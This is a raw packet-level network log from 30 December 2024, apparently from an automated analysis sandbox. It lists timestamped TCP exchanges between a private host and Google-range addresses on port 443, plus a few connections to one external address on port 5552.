Dec 30, 2024 11:35:56.463412046 CET	49749	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:56.463465929 CET	443	49749	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:56.463521957 CET	49749	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:56.463799953 CET	49749	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:56.463812113 CET	443	49749	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:56.579771042 CET	443	49742	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:56.579818964 CET	443	49742	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:56.579821110 CET	49742	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:56.579834938 CET	443	49742	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:56.579852104 CET	49742	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:56.579890966 CET	49742	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:56.579898119 CET	443	49742	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:56.579926968 CET	49742	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:56.579931974 CET	443	49742	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:56.579946995 CET	443	49742	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:56.579979897 CET	49742	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:56.579991102 CET	49742	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:56.582053900 CET	49742	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:56.582062960 CET	443	49742	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:56.582745075 CET	49750	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:56.582793951 CET	443	49750	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:56.582869053 CET	49750	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:56.583420992 CET	49750	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:56.583446026 CET	443	49750	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:57.006972075 CET	443	49746	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:57.007040977 CET	49746	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:57.007754087 CET	443	49746	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:57.007800102 CET	49746	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:57.018960953 CET	49746	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:57.018992901 CET	443	49746	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:57.019869089 CET	443	49746	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:57.019936085 CET	49746	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:57.020889044 CET	49746	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:57.044030905 CET	443	49748	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:57.044084072 CET	49748	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:57.044706106 CET	49748	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:57.044717073 CET	443	49748	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:57.045077085 CET	49748	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:57.045084000 CET	443	49748	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:57.067331076 CET	443	49746	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:57.073421001 CET	443	49749	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:57.073487043 CET	49749	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:57.074213028 CET	443	49749	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:57.074259996 CET	49749	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:57.085268974 CET	49749	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:57.085305929 CET	443	49749	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:57.085644007 CET	443	49749	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:57.085767984 CET	49749	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:57.086313009 CET	49749	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:57.131331921 CET	443	49749	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:57.195344925 CET	443	49750	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:57.195405960 CET	49750	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:57.202454090 CET	49750	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:57.202466965 CET	443	49750	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:57.202903986 CET	49750	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:57.202910900 CET	443	49750	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:57.375998974 CET	443	49746	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:57.376065016 CET	49746	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:57.376097918 CET	443	49746	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:57.376136065 CET	49746	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:57.376720905 CET	49746	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:57.376760960 CET	443	49746	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:57.376806974 CET	49746	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:57.377599001 CET	49753	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:57.377640963 CET	443	49753	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:57.377693892 CET	49753	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:57.378103018 CET	49753	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:57.378117085 CET	443	49753	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:57.447124004 CET	443	49749	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:57.447326899 CET	49749	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:57.447554111 CET	49749	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:57.447599888 CET	443	49749	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:57.447768927 CET	443	49749	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:57.447834969 CET	49749	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:57.447834969 CET	49749	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:57.448194027 CET	49755	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:57.448240042 CET	443	49755	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:57.448321104 CET	49755	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:57.448575020 CET	49755	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:57.448586941 CET	443	49755	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:57.458810091 CET	443	49748	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:57.458865881 CET	443	49748	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:57.458935976 CET	49748	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:57.458935976 CET	49748	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:57.458952904 CET	443	49748	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:57.458976030 CET	443	49748	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:57.459095001 CET	49748	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:57.461138010 CET	49748	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:57.461148024 CET	49756	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:57.461152077 CET	443	49748	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:57.461206913 CET	443	49756	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:57.461498022 CET	49756	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:57.461661100 CET	49756	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:57.461679935 CET	443	49756	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:57.606622934 CET	443	49750	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:57.606678009 CET	443	49750	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:57.606714010 CET	49750	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:57.606739044 CET	443	49750	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:57.606794119 CET	443	49750	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:57.606818914 CET	49750	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:57.607141018 CET	49750	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:57.607522011 CET	49750	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:57.607522011 CET	49750	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:57.607543945 CET	443	49750	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:57.608077049 CET	49757	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:57.608112097 CET	49750	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:57.608140945 CET	443	49757	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:57.608290911 CET	49757	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:57.608489990 CET	49757	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:57.608505011 CET	443	49757	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:57.646455050 CET	49758	5552	192.168.2.4	172.111.138.100
Dec 30, 2024 11:35:57.651307106 CET	5552	49758	172.111.138.100	192.168.2.4
Dec 30, 2024 11:35:57.655374050 CET	49758	5552	192.168.2.4	172.111.138.100
Dec 30, 2024 11:35:57.671734095 CET	49758	5552	192.168.2.4	172.111.138.100
Dec 30, 2024 11:35:57.676577091 CET	5552	49758	172.111.138.100	192.168.2.4
Dec 30, 2024 11:35:57.996092081 CET	443	49753	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:57.996231079 CET	49753	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:57.996895075 CET	443	49753	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:57.997009993 CET	49753	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:58.016750097 CET	49753	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:58.016774893 CET	443	49753	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:58.017110109 CET	443	49753	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:58.017252922 CET	49753	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:58.017775059 CET	49753	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:58.051533937 CET	443	49755	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:58.051625013 CET	49755	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:58.052318096 CET	443	49755	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:58.052460909 CET	49755	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:58.058440924 CET	49755	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:58.058449984 CET	443	49755	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:58.058727026 CET	443	49755	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:58.059173107 CET	49755	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:58.059329987 CET	443	49753	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:58.059804916 CET	49755	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:58.060697079 CET	443	49756	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:58.060931921 CET	49756	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:58.061242104 CET	49756	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:58.061256886 CET	443	49756	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:58.063442945 CET	49756	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:58.063466072 CET	443	49756	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:58.103341103 CET	443	49755	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:58.207482100 CET	443	49757	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:58.207624912 CET	49757	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:58.208611012 CET	49757	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:58.208642006 CET	443	49757	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:58.209208965 CET	49757	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:58.209223032 CET	443	49757	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:58.365276098 CET	443	49753	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:58.365520000 CET	49753	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:58.365995884 CET	443	49753	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:58.366048098 CET	443	49753	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:58.366112947 CET	49753	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:58.366245031 CET	49753	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:58.367274046 CET	49753	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:58.367274046 CET	49753	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:58.367294073 CET	443	49753	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:58.367924929 CET	49762	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:58.367978096 CET	443	49762	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:58.368010998 CET	49753	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:58.368146896 CET	49762	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:58.368696928 CET	49762	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:58.368710041 CET	443	49762	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:58.419085026 CET	443	49755	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:58.419166088 CET	49755	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:58.419199944 CET	443	49755	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:58.419245958 CET	49755	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:58.419878960 CET	49755	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:58.419922113 CET	443	49755	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:58.419967890 CET	49755	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:58.420649052 CET	49763	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:58.420700073 CET	443	49763	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:58.420799971 CET	49763	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:58.421014071 CET	49763	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:58.421030998 CET	443	49763	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:58.472207069 CET	443	49756	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:58.472259998 CET	443	49756	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:58.472280025 CET	49756	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:58.472315073 CET	443	49756	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:58.472331047 CET	49756	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:58.472373009 CET	49756	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:58.472381115 CET	443	49756	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:58.472424030 CET	49756	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:58.472430944 CET	443	49756	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:58.472440958 CET	443	49756	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:58.472480059 CET	49756	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:58.475306034 CET	49756	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:58.475346088 CET	443	49756	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:58.475833893 CET	49764	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:58.475881100 CET	443	49764	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:58.475943089 CET	49764	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:58.476126909 CET	49764	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:58.476138115 CET	443	49764	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:58.616735935 CET	443	49757	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:58.616792917 CET	443	49757	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:58.616822958 CET	49757	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:58.616853952 CET	443	49757	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:58.616873026 CET	49757	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:58.616903067 CET	49757	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:58.616908073 CET	443	49757	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:58.616930962 CET	443	49757	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:58.616945982 CET	49757	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:58.616962910 CET	49757	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:58.625734091 CET	49757	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:58.625766039 CET	443	49757	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:58.626176119 CET	49765	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:58.626224041 CET	443	49765	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:58.626406908 CET	49765	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:58.626580954 CET	49765	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:58.626600981 CET	443	49765	142.250.186.97	192.168.2.4
Dec 30, 2024 11:35:58.969384909 CET	443	49762	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:58.969481945 CET	49762	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:58.970169067 CET	443	49762	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:58.970221043 CET	49762	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:59.016738892 CET	49762	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:59.016834021 CET	443	49762	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:59.017210960 CET	443	49762	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:59.017364979 CET	49762	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:59.017718077 CET	49762	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:59.022882938 CET	443	49763	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:59.022993088 CET	49763	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:59.023674965 CET	443	49763	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:59.023730993 CET	49763	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:59.050729036 CET	49763	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:59.050770044 CET	443	49763	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:59.051156998 CET	443	49763	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:59.051218987 CET	49763	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:59.051757097 CET	49763	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:59.054102898 CET	49764	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:59.054138899 CET	49765	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:35:59.054167032 CET	49763	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:59.054174900 CET	49762	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:59.055500031 CET	49766	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:59.055541992 CET	443	49766	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:59.055608034 CET	49766	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:59.056499958 CET	49767	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:59.056559086 CET	443	49767	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:59.056667089 CET	49767	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:59.057200909 CET	49767	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:59.057221889 CET	443	49767	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:59.057339907 CET	49766	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:59.057353973 CET	443	49766	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:59.657543898 CET	443	49767	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:59.657602072 CET	49767	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:59.671586037 CET	443	49766	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:59.671744108 CET	49766	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:59.680062056 CET	49767	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:59.680088043 CET	443	49767	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:59.680263996 CET	49767	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:59.680269957 CET	443	49767	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:59.700156927 CET	49766	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:59.700170994 CET	443	49766	142.250.186.142	192.168.2.4
Dec 30, 2024 11:35:59.712975979 CET	49766	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:35:59.712984085 CET	443	49766	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:00.028669119 CET	443	49767	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:00.028742075 CET	49767	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:00.028846025 CET	49767	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:00.028914928 CET	443	49767	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:00.028963089 CET	49767	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:00.029418945 CET	49771	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:00.029443979 CET	443	49771	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:00.029508114 CET	49771	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:00.029763937 CET	49771	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:00.029774904 CET	443	49771	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:00.029985905 CET	49772	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:00.030041933 CET	443	49772	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:00.030226946 CET	49772	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:00.030267000 CET	49772	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:00.030272961 CET	443	49772	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:00.040394068 CET	443	49766	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:00.040489912 CET	49766	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:00.040502071 CET	443	49766	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:00.040540934 CET	49766	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:00.040548086 CET	443	49766	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:00.040586948 CET	49766	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:00.040610075 CET	49766	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:00.040610075 CET	49766	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:00.040622950 CET	443	49766	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:00.040649891 CET	443	49766	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:00.040689945 CET	49766	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:00.040699959 CET	49766	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:00.041300058 CET	49773	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:00.041379929 CET	443	49773	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:00.041436911 CET	49773	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:00.041804075 CET	49774	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:00.041845083 CET	443	49774	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:00.041857004 CET	49773	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:00.041898012 CET	49774	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:00.041907072 CET	443	49773	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:00.042040110 CET	49774	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:00.042048931 CET	443	49774	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:00.638701916 CET	443	49774	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:00.639130116 CET	443	49771	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:00.639183044 CET	49774	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:00.639607906 CET	443	49774	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:00.639646053 CET	49771	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:00.640012980 CET	49774	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:00.641366005 CET	49774	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:00.641381979 CET	443	49774	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:00.641669989 CET	443	49774	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:00.641793013 CET	49774	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:00.642543077 CET	49774	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:00.647624016 CET	49771	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:00.647638083 CET	443	49771	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:00.647991896 CET	443	49771	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:00.648078918 CET	49771	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:00.648513079 CET	49771	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:00.650574923 CET	443	49772	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:00.650810003 CET	49772	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:00.651443958 CET	443	49772	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:00.651830912 CET	443	49773	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:00.651874065 CET	49772	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:00.652035952 CET	49773	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:00.653244972 CET	49772	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:00.653250933 CET	443	49772	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:00.653518915 CET	443	49772	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:00.653738022 CET	49772	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:00.654084921 CET	49773	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:00.654099941 CET	443	49773	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:00.654346943 CET	443	49773	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:00.654457092 CET	49772	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:00.654556990 CET	49773	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:00.654865980 CET	49773	443	192.168.2.4	142.250.186.97
Dec 30, 2024 11:36:00.683332920 CET	443	49774	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:00.695328951 CET	443	49771	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:00.695346117 CET	443	49772	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:00.699368954 CET	443	49773	142.250.186.97	192.168.2.4
Dec 30, 2024 11:36:01.021008968 CET	443	49774	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:01.021188974 CET	49774	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:01.021209955 CET	443	49774	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:01.021367073 CET	443	49774	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:01.021444082 CET	49774	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:01.021512985 CET	49774	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:01.021512985 CET	49774	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:01.021531105 CET	443	49774	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:01.021835089 CET	49774	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:01.022165060 CET	49776	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:01.022209883 CET	443	49776	142.250.186.142	192.168.2.4
Dec 30, 2024 11:36:01.022592068 CET	49776	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:01.022592068 CET	49776	443	192.168.2.4	142.250.186.142
Dec 30, 2024 11:36:01.022628069 CET	443	49776	142.250.186.142	192.168.2.4
